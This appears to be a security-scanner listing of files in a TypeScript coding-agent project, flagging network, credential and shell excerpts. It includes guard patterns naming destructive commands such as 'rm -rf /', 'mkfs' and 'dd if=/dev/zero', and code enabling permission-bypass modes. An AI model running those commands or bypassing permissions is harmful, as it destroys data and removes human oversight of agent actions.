    Executable file

loki-ts/src/e10ext/context.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/discard.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/liveline.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/preexisting_dirty.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/repomemory.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/reviewer_body.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 54
    L.push(`- On another machine: the author runs \`loki proof bundle ${i.runId}\`; the reviewer runs \`loki verify --pubkey pubkey.jwk receipt.json\`${/^\d+\.\d+\.\d+/.test(version) ? " or adds this step to a workflow:" : " or adds the receipt
  • Network accessline 55
    if (/^\d+\.\d+\.\d+/.test(version)) L.push(`- \`uses: asklokesh/loki-mode/.github/actions/receipt-check@v${version}\``);   if (env["LOKI_PR_FOOTER"] !== "0") L.push("", `${i.verdict === "VERIFIED" && !i.draftReason ? "Built and verified wit
  • Network accessline 56
    if (env["LOKI_PR_FOOTER"] !== "0") L.push("", `${i.verdict === "VERIFIED" && !i.draftReason ? "Built and verified with" : "Built with"} Loki Mode: https://github.com/asklokesh/loki-mode`); // static text, no network call, no telemetry

loki-ts/src/e10ext/scope.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/select.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/ship_hook.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 13
    [Credential-related source omitted]

loki-ts/src/e10ext/stop_restore.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/treeswap.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/wall_hints.ts

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 11
    cargo: `${COMMANDS.cargo.cmd}. Write an integration test file directly under tests/ that calls the crate's public API. Example: #[test] fn name() { assert_eq!(my_crate::f(1), 2); }  Run: ${COMMANDS.cargo.cmd} --test <stem>.`, maven: `Maven 

loki-ts/src/engine10/already_done.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/cache.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/cli.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/cost.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/events.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/failures.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/fetch_issue.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/hooks.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/integrate.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/keys_cmd.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/machine.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/cli.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/cluster.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/codemod.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/dashboard.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/equiv.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/estimate.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/inventory.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/lang/java.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/lang/python.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/log.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/oracle/java.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/oracle/seal.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/oracle/search.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/presealed_wall.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/report.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/reslice.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/resume.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/routes.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/scheduler.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/ship.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/targets/java21.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/targets/python3.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/types.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/unit.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/modernize/wave.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/output.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/pr_body.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/preflight.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]

loki-ts/src/engine10/registry.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/relevant_files.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/repomap.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/session.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/sizing.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/commit.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/deep.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/fix.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/implement.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/intake.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/plan.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/pr.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 60
    [Credential-related source omitted]

loki-ts/src/engine10/stages/seal.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/verify.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/wall.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/stages/xreview.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/supervisor.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/testmap.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/types.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/engine10/verify_cmd.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 205
    args = ma.args;   if (args[0] === "--help" || args[0] === "-h") {     process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned (
  • Network accessline 206
    if (args[0] === "--help" || args[0] === "-h") {     process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned (refused), 4 run ou
  • Network accessline 207
    process.stdout.write("Usage: loki verify [run-id]\nVerify .loki/runs/<run-id>/receipt.json (default: latest run).\nExit: 0 verified, 1 tampered, 2 unchecked, 3 unsigned (refused), 4 run outcome not verified, 66 no runs.\nOptions: --allow-un

loki-ts/src/engine10/worker.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]

loki-ts/src/features/attempts.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/blocked_answer.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 19
    [Credential-related source omitted]

loki-ts/src/features/contract.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/decompose.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/dependents.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/lean_prefix.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/receipt_dsse.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    export const DSSE_PAYLOAD_TYPE = "application/vnd.in-toto+json"; export const STATEMENT_TYPE = "https://in-toto.io/Statement/v1";
  • Network accessline 8
    export const STATEMENT_TYPE = "https://in-toto.io/Statement/v1";
  • Network accessline 9
    export const PREDICATE_TYPE = "https://autonomi.dev/loki/receipt/v10";

loki-ts/src/features/runner_config.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/spec_ambiguity.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/already_done_async.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/decompose_check.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/fix_units.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/group_grid.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/group_output.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/lean_select.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/route.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/run_group.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 42
    [Credential-related source omitted]

loki-ts/src/features/speed/seal_group.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/speed/unit_mode.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/tracker_intake.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    const JIRA_KEY = "[A-Z][A-Z0-9_]*-\\d+"; const JIRA_REF = new RegExp(`^jira:(${JIRA_KEY})$`); const JIRA_URL = new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.atlassian\\.net)/browse/(${JIRA_KEY})/?(?:[?#]\\S*)?$`);
  • Network accessline 11
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]
  • Network accessline 32
    if (m) return { source: "jira", key: m[1]! };   m = JIRA_URL.exec(s);   if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` };
  • Network accessline 33
    m = JIRA_URL.exec(s);   if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` };   const site = selfHostedSite(s, env);
  • Network accessline 34
    if (m) return { source: "jira", key: m[2]!, site: `https://${m[1]}` };
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 111
    async function fetchLinear(ref: Extract<TrackerRef, { source: "linear" }>, f: FetchFn, env: NodeJS.ProcessEnv): Promise<TrackerIssue> {   const key = need(env, "LINEAR_API_KEY", "; Linear intake needs LINEAR_API_KEY");   const res = await f
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 113
    const res = await f("https://api.linear.app/graphql", {
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 193
    [Credential-related source omitted]
  • Network accessline 194
    [Credential-related source omitted]
  • Network accessline 195
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]

loki-ts/src/features/triage.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

loki-ts/src/features/untouched_untracked.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/visual_evidence.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 67
    const end = Date.now() + ms;   while (Date.now() < end && !signal?.aborted) {     try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { /
  • Network accessline 68
    while (Date.now() < end && !signal?.aborted) {     try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { /* retry */ }     await new Prom
  • Network accessline 69
    try { const r = await fetch(url, { signal: AbortSignal.timeout(Math.max(1, Math.min(2000, end - Date.now()))) }); if (r.status < 500) return true; } catch { /* retry */ }
  • Network accessline 187
    const budget = opts.budgetMs ?? DEFAULT_BUDGET_MS, end = Date.now() + budget, left = (): number => end - Date.now();     const aborted = (): boolean => signal?.aborted === true;     const port = await freePort(), base = `http://127.0.0.1:${
  • Network accessline 188
    const aborted = (): boolean => signal?.aborted === true;     const port = await freePort(), base = `http://127.0.0.1:${port}`;     const [bc, ba] = boot ? (["bash", ["-c", boot.boot.cmd]] as const) : (["npm", ["run", script!, "--silent"]] a
  • Network accessline 189
    const port = await freePort(), base = `http://127.0.0.1:${port}`;
  • Network accessline 216
    for (const p of apiPaths) {       if (aborted() || left() <= 0) break;       try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (awai
  • Network accessline 217
    if (aborted() || left() <= 0) break;       try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (await r.text()).slice(0, 2048) }); } c
  • Network accessline 218
    try { const r = await fetch(`${base}${p}`, { signal: AbortSignal.timeout(Math.max(1, left())) }); rows.push({ method: "GET", path: p, status: r.status, body: (await r.text()).slice(0, 2048) }); } catch { rows.push({ method: "GET", path: p, 

loki-ts/src/features/wall_manifest.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/wall_manifest_wire.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/warm.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/features/warm_client.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/integrations/before_after.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/integrations/writeback.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 30
    async function post(url: string, init: RequestInit, label: string, what = "comment"): Promise<void> {   try {     const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) });
  • Network accessline 31
    try {     const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) });     if (!r.ok) process.stderr.write(`writeback: ${label} ${what} failed (HTTP ${r.status})\n`);
  • Network accessline 32
    const r = await fetch(url, { ...init, signal: AbortSignal.timeout(TIMEOUT_MS) });
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 60
    }     if (linearOn && kind !== "jira" && kind !== "github") {       const url = env.LOKI_LINEAR_URL ?? "https://api.linear.app/graphql";
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    const url = env.LOKI_LINEAR_URL ?? "https://api.linear.app/graphql";

loki-ts/src/metrics/kpis.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/metrics/trust.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_graph.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/api.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/conventions.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/discover.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/gather.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/graph.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/install.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/linguist.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/package_suite.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/resolve.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/schema.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/project_model/scope.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/providers/claude_flags.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 28
    "Edit,Write,NotebookEdit,Bash(git commit:*),Bash(git reset:*),Bash(git push:*),Bash(git checkout:*),Bash(git clean:*),Bash(git rm:*),Bash(git stash:*),Bash(git -C:*),Bash(git --git-dir:*),Bash(git -c:*),Bash(git --exec-path:*),Bash(git diff
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 486
    [Credential-related source omitted]
  • Network accessline 612
    // Complements the v7.33 --disallowedTools denylist with a least-privilege grant: // only the read/inspect tools a voter needs. Per the official permission docs // (https://code.claude.com/docs/en/permissions) rules are "evaluated in order:
  • Network accessline 613
    // only the read/inspect tools a voter needs. Per the official permission docs // (https://code.claude.com/docs/en/permissions) rules are "evaluated in order: // deny, then ask, then allow", and "if a tool is denied at any level, no other
  • Network accessline 614
    // (https://code.claude.com/docs/en/permissions) rules are "evaluated in order:
  • Instruction override signalline 616
    // level can allow it." Verified live against claude 2.1.177 (2026-06-13): with // both an allow and a deny rule on the same command, the command is BLOCKED, // even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the
  • Instruction override signalline 617
    // both an allow and a deny rule on the same command, the command is BLOCKED, // even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the // allowlist and denylist are SAFE to emit together (the denylist still blocks
  • Instruction override signalline 618
    // even under --dangerously-skip-permissions. So DENY PRECEDENCE holds: the
  • Instruction override signalline 931
    // src/policies/claude_permissions.js (also invoked by providers/claude.sh) emits // --permission-mode plus --allowedTools/--disallowedTools from the task policy. // LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissio
  • Instruction override signalline 932
    // --permission-mode plus --allowedTools/--disallowedTools from the task policy. // LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissions, // byte-identical. Unset: compiled only when an operator claude_permissions po
  • Instruction override signalline 933
    // LOKI_PERMISSION_POLICY=legacy: the historical --dangerously-skip-permissions,
  • Instruction override signalline 1024
    export interface SdkPermissionOptions {   permissionMode: "plan" | "default" | "acceptEdits" | "bypassPermissions";   allowDangerouslySkipPermissions?: true;
  • Instruction override signalline 1025
    permissionMode: "plan" | "default" | "acceptEdits" | "bypassPermissions";   allowDangerouslySkipPermissions?: true;   allowedTools?: string[];
  • Instruction override signalline 1026
    allowDangerouslySkipPermissions?: true;
  • Instruction override signalline 1043
    return l.length ? l : undefined;   };   if (argv.includes("--dangerously-skip-permissions")) {
  • Instruction override signalline 1044
    };   if (argv.includes("--dangerously-skip-permissions")) {     const legacyDeny = csv(val("--disallowedTools"));
  • Instruction override signalline 1045
    if (argv.includes("--dangerously-skip-permissions")) {
  • Instruction override signalline 1046
    const legacyDeny = csv(val("--disallowedTools"));     return { permissionMode: "bypassPermissions", allowDangerouslySkipPermissions: true, ...(legacyDeny ? { disallowedTools: legacyDeny } : {}) };   }
  • Instruction override signalline 1047
    return { permissionMode: "bypassPermissions", allowDangerouslySkipPermissions: true, ...(legacyDeny ? { disallowedTools: legacyDeny } : {}) };
  • Instruction override signalline 1051
    const mode = modes.find((x) => x === m) ?? "plan"; // unreadable mode fails closed   const out: SdkPermissionOptions = { permissionMode: mode };   if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true;
  • Instruction override signalline 1052
    const out: SdkPermissionOptions = { permissionMode: mode };   if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true;   const allow = csv(val("--allowedTools"));
  • Instruction override signalline 1053
    if (mode === "bypassPermissions") out.allowDangerouslySkipPermissions = true;

loki-ts/src/providers/mcp_config.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/providers/model_routes.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 5
    [Credential-related source omitted]
  • Network accessline 21
    export const MODEL_ROUTES: Record<string, { baseUrl: string; tokenVar?: string }> = {   openrouter: { baseUrl: "https://openrouter.ai/api", tokenVar: "OPENROUTER_API_KEY" },
  • Network accessline 22
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 23
    ollama: { baseUrl: "http://localhost:11434" },
  • Network accessline 24
    lmstudio: { baseUrl: "http://localhost:1234" },
  • Network accessline 25
    llamacpp: { baseUrl: "http://localhost:8080" },
  • Network accessline 26
    vllm: { baseUrl: "http://localhost:8000" },
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]

loki-ts/src/providers/price_table.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    // Mini and nano tiers: OpenAI API pricing page https://openai.com/api/pricing/ (per 1M tokens).

loki-ts/src/providers/provider_cost.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/providers/provider_guard.ts

  • Executable scriptline 1
    Executable file
  • Instruction override signalline 152
    { provider: "claude", engine: "engine10", invocation: "Agent SDK query() (default) or claude CLI via loki-ts/src/runner/providers.ts", cost: "measured", budgetKill: "post-iteration", cancelProcessGroup: "yes", sandboxFlags: [], receipt: "ye
  • Instruction override signalline 153
    { provider: "opencode", engine: "engine10", invocation: "opencode run --auto [-m provider/model]", cost: "none", budgetKill: "none", cancelProcessGroup: "yes", sandboxFlags: providerSandboxFlags("opencode"), receipt: "yes", resume: "no", gu
  • Instruction override signalline 154
    { provider: "claude", engine: "legacy", invocation: "claude --dangerously-skip-permissions (bash loop)", cost: U, budgetKill: U, cancelProcessGroup: U, sandboxFlags: U, receipt: U, resume: U, guardScan: U, killBlocking: U, source: "provider

loki-ts/src/runner/attempts.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/budget.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/checkpoint.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/counter_evidence.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/crash.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/engine10_dashboard.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 148
    hostname: HOSTNAME,     port,     async fetch(req) {
  • Network accessline 149
    port,     async fetch(req) {       const url = new URL(req.url);
  • Network accessline 150
    async fetch(req) {
  • Network accessline 176
    const boundPort = server.port ?? port;   const boundHost = server.hostname ?? HOSTNAME;   return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) };
  • Network accessline 177
    const boundHost = server.hostname ?? HOSTNAME;   return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) }; }
  • Network accessline 178
    return { port: boundPort, hostname: boundHost, url: `http://${boundHost}:${boundPort}/`, stop: () => server.stop(true) };
  • Network accessline 211
    *  the process; that decision is the caller's. */ async function probeOccupant(port: number): Promise<Occupant> {   const base = `http://127.0.0.1:${port}`;
  • Network accessline 212
    async function probeOccupant(port: number): Promise<Occupant> {   const base = `http://127.0.0.1:${port}`;   try {
  • Network accessline 213
    const base = `http://127.0.0.1:${port}`;   try {     const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) });
  • Network accessline 214
    try {     const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) });     if (r.ok) {
  • Network accessline 215
    const r = await fetch(`${base}/version`, { signal: AbortSignal.timeout(1000) });
  • Network accessline 224
    }   try {     const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) });
  • Network accessline 225
    try {     const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) });     if (r.ok) {
  • Network accessline 226
    const r = await fetch(`${base}/health`, { signal: AbortSignal.timeout(1000) });

loki-ts/src/runner/episode_bridge.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]

loki-ts/src/runner/escalation_handoff.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 95
    lines.push("- Fix the finding? Address it in the code, then `rm .loki/PAUSE` to resume. A code_review BLOCK is NOT lifted by self-supplied counter-evidence -- the gated agent authors that file, so it cannot self-certify a trust-gate finding
  • Dangerous shell operationline 96
    lines.push("- Override after your own review? You (the operator) are the escape path: review the finding and, if you accept it, `rm .loki/PAUSE` to resume. To direct the agent on resume, `echo \"instructions\" > .loki/HUMAN_INPUT.md` first.
  • Dangerous shell operationline 101
    lines.push("To resume: fix the findings (or, after your own review, accept them), then `rm .loki/PAUSE`.");

loki-ts/src/runner/exec_manifest.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/findings_injector.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/github_token.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 28
    //      does not stop the keyring lookup. //   2. git's own `credential.helper` (`gh auth setup-git` wires //      `credential.https://github.com.helper = !gh auth git-credential`, and
  • Network accessline 29
    //   2. git's own `credential.helper` (`gh auth setup-git` wires //      `credential.https://github.com.helper = !gh auth git-credential`, and //      a plain `osxkeychain`/`libsecret`/etc. helper may ALSO be configured,
  • Network accessline 30
    //      `credential.https://github.com.helper = !gh auth git-credential`, and
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]

loki-ts/src/runner/host_guard.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 89
    ["pattern", (c) => /rm -rf (?:\/|~|\$HOME|\.loki|\.\/\.loki)/.test(c)],
  • Dangerous shell operationline 90
    ["pattern", (c) => /> \/dev\/sd|mkfs[. ]|dd if=\/dev\/zero|chmod -R 777 \//.test(c)],
  • Dangerous shell operationline 93
    ["pattern", (c) => inOrder(c, ["rm "], LOKI_STATE) || c.includes("> .loki/council/") || c.includes("> .loki/config.yaml")],
  • Dangerous shell operationline 112
    // The script reads words with quotes removed (shlex) and with fd duplications (2>&1) cut (the rm check); test both forms.

loki-ts/src/runner/learnings_writer.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/load_owner.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/model_downgrades.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/model_rank.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/oauth_dev.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

loki-ts/src/runner/provider_failover.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/provider_opencode.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/providers.ts

  • Executable scriptline 1
    Executable file
  • Instruction override signalline 482
    // at claude.sh:192-199 (v7.5.19 Phase B adds --effort / --max-budget-usd / // --fallback-model derived from existing Loki state): //   claude --dangerously-skip-permissions --model <model> \
  • Instruction override signalline 483
    // --fallback-model derived from existing Loki state): //   claude --dangerously-skip-permissions --model <model> \ //          [--effort <tier-derived>] [--max-budget-usd <limit-spend>] \
  • Instruction override signalline 484
    //   claude --dangerously-skip-permissions --model <model>  //          [--effort <tier-derived>] [--max-budget-usd <limit-spend>]
  • Access to secretsline 822
    [Credential-related source omitted]
  • Instruction override signalline 864
    // P12-26c: honours LOKI_PERMISSION_POLICY via the shared resolver. Legacy keeps             // bypassPermissions + the required allowDangerouslySkipPermissions companion.
  • Instruction override signalline 865
    // bypassPermissions + the required allowDangerouslySkipPermissions companion.
  • Access to secretsline 986
    [Credential-related source omitted]

loki-ts/src/runner/repo_profile.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/retry_class.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]

loki-ts/src/runner/router/advisor_probe.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/cost_preview.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/decision.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/flag.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/history.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/history_store.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/implement_route.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/plan_route.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/route_block.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/route_record.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/session_route.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/router/unit_model.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/runner/runner_errors.ts

